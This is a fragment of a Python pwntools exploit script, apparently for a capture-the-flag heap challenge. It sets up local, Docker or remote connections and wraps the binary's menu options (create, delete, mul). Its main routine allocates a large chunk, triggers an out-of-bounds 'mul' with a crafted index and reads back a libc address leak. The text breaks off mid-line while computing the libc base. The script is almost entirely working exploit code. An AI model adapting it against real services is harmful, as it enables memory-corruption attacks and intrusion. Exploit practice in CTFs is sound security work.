get_pid(name): return int(check_output(["pgrep", "-f", "-n", name])) def conn(): if args.LOCAL: if args.GDB: p = gdb.debug(_path, cmd) else: p = exe.process() if args.DOCKER: p = remote(addr, port) sleep(2) if args.GDB: pid = get_pid("") gdb.attach(pid, exe=exe.path, gdbscript=cmd+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe") pause() elif args.REMOTE: host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p def p(_data, _arch = 64, endian = 'little'): switcher = { 64: p64(_data & 0xffffffffffffffff, endian), 32: p32(_data & 0xffffffff, endian), 16: p16(_data & 0xffff, endian), 8: p8(_data & 0xff, endian) } return switcher[_arch] chall = conn() def sl(_data): chall.sendline(_data) def sla(rgx, _data): chall.sendlineafter(rgx, _data) def se(_data): chall.send(_data) def sa(rgx, _data): chall.sendafter(rgx, _data) def check(): chall.interactive() exit() def create(sz, data): sla(b'> ', b'1') sla(b'size: ', str(sz).encode()) sla(b'content: ', data) def delete(): sla(b'> ', b'2') def mul(idx): sla(b'> ', b'3') sla(b": ", str(idx).encode()) def main(): create(0x81000, b'A'*0x8) # input() mul(0x2895d9) chall.recv(5) leak = u64(chall.recv(6).ljust(8, b'\x00')) libc.address = l